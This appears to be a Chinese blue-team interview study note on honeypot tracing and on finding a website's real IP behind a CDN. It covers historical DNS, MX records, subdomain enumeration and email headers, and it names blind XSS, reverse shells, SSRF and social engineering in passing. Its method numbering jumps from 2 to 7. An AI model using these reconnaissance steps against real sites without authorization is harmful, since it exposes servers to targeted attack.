攻防场景:在企业内网部署蜜罐去模拟各种常见的应用服务,诱导攻击者攻击。
溯源方式:在攻击者入侵蜜罐时,蜜罐可以记录攻击者的入侵行为,获取攻击者的主机信息、浏览器信息、甚至是真实 IP及社交信息。
如何CDN绕过,得到真实ip
https://www.cnblogs.com/qiudabai/p/9763739.html
绕过 CDN 查找网站真实 IP
方法1:查询历史DNS记录
1)查看 IP 与 域名绑定的历史记录,可能会存在使用 CDN 前的记录,相关查询网站有:
https://dnsdb.io/zh-cn/ ###DNS查询
https://x.threatbook.cn/ ###微步在线
http://toolbar.netcraft.com/site_report?url= ###在线域名信息查询
http://viewdns.info/ ###DNS、IP等查询
https://tools.ipip.net/cdn.php ###CDN查询IP
2)利用SecurityTrails平台,攻击者就可以精准的找到真实原始IP。他们只需在搜索字段中输入网站域名,然后按Enter键即可,这时“历史数据”就可以在左侧的菜单中找到。
如何寻找隐藏在CloudFlare或TOR背后的真实原始IP
除了过去的DNS记录,即使是当前的记录也可能泄漏原始服务器IP。例如,MX记录是一种常见的查找IP的方式。如果网站在与web相同的服务器和IP上托管自己的邮件服务器,那么原始服务器IP将在MX记录中。
方法2:查询子域名
毕竟 CDN 还是不便宜的,所以很多站长可能只会对主站或者流量大的子站点做了 CDN,而很多小站子站点又跟主站在同一台服务器或者同一个C段内,此时就可以通过查询子域名对应的 IP 来辅助查找网站的真实IP。
下面介绍些常用的子域名查找的方法和工具:
1)微步在线(https://x.threatbook.cn/)
上文提到的微步在线功能强大,黑客只需输入要查找的域名(如baidu.com),点击子域名选项就可以查找它的子域名了,但是免费用户每月只有5次免费查询机会。如图:
2)Dnsdb查询法。(https://dnsdb.io/zh-cn/)
3)Google 搜索
Google site:baidu.com -www就能查看除www外的子域名,如图:
4)各种子域名扫描器
这里,主要为大家推荐子域名挖掘机和lijiejie的subdomainbrute(https://github.com/lijiejie/subDomainsBrute)
子域名挖掘机仅需输入域名即可基于字典挖掘它的子域名,如图:
方法7:使用国外主机解析域名
国内很多 CDN 厂商因为各种原因只做了国内的线路,而针对国外的线路可能几乎没有,此时我们使用国外的主机直接访问可能就能获取到真实IP。
方法8:网站漏洞查找
1)目标敏感文件泄露,例如:phpinfo之类的探针、GitHub信息泄露等。
2)XSS盲打,命令执行反弹shell,SSRF等。
3)无论是用社工还是其他手段,拿到了目标网站管理员在CDN的账号,从而在从CDN的配置中找到网站的真实IP。
方法9:网站邮件订阅查找
RSS邮件订阅,很多网站都自带 sendmail,会发邮件给我们,此时查看邮件源码里面就会包含服务器的真实 IP 了。
以上是关于蓝队面试知识点整理的主要内容,如果未能解决你的问题,请参考以下文章
(2020上半年第70天(红蓝对抗-蓝队主机流量蜜罐等监控检测))小迪网络安全笔记
(2020上半年第70天(红蓝对抗-蓝队主机流量蜜罐等监控检测))小迪网络安全笔记